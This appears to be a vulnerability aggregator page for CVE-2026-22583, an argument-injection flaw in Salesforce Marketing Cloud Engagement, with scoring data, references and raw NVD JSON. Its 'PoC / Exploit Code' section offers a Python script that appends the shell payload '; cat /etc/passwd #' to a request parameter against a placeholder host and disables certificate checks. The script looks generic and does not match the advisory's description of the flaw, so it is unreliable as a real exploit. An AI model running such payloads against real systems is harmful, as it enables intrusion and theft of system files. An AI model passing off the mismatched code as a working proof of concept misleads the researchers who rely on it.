CVE-2026-22583

Description

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Salesforce Marketing Cloud Engagement (CloudPagesUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:salesforce:marketing_cloud_engagement:*:*:*:*:*:*:*:* - VULNERABLE

Salesforce Marketing Cloud Engagement CloudPagesUrl < 2026-01-21版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CVE-2026-22583 PoC - Argument Injection in Salesforce Marketing Cloud
# Target: Salesforce Marketing Cloud Engagement (CloudPagesUrl module)
# Severity: CRITICAL (CVSS 9.8)

TARGET_URL = "https://{your-org}.cloudpagesurl.com/"
INJECTION_PAYLOAD = "; cat /etc/passwd #"

def exploit_cve_2026_22583():
    """
    Exploit for CVE-2026-22583: Argument Injection vulnerability
    in Salesforce Marketing Cloud Engagement CloudPagesUrl module
    """
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    # Malicious payload with argument injection
    params = {
        'id': '12345' + INJECTION_PAYLOAD,
        'lang': 'en'
    }
    
    try:
        response = requests.get(
            TARGET_URL + 'page',
            params=params,
            headers=headers,
            timeout=30,
            verify=False
        )
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response Length: {len(response.text)}")
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
        return None

if __name__ == "__main__":
    print("[*] CVE-2026-22583 PoC - Salesforce Marketing Cloud Argument Injection")
    print("[*] Target: CloudPagesUrl module")
    print("[*] Payload: Argument Injection")
    exploit_cve_2026_22583()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22583
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22583
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22583/
[4] VulDB https://vuldb.com/cve/CVE-2026-22583
[5] https://help.salesforce.com/s/articleView?id=005299346&type=1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22583", "sourceIdentifier": "[email protected]", "published": "2026-01-24T01:15:50.060", "lastModified": "2026-02-12T16:12:21.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Salesforce Marketing Cloud Engagement (CloudPagesUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Inadecuada de Delimitadores de Argumentos en un Comando ('Inyección de Argumentos') en Salesforce Marketing Cloud Engagement (módulo CloudPagesUrl) permite la Manipulación del Protocolo de Servicios Web. Este problema afecta a Marketing Cloud Engagement: antes del 21 de enero de 2026."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salesforce:marketing_cloud_engagement:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-21", "matchCriteriaId": "5A41CCDE-A5EA-45D6-A009-A6908459C453"}]}]}], "references": [{"url": "https://help.salesforce.com/s/articleView?id=005299346&type=1", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}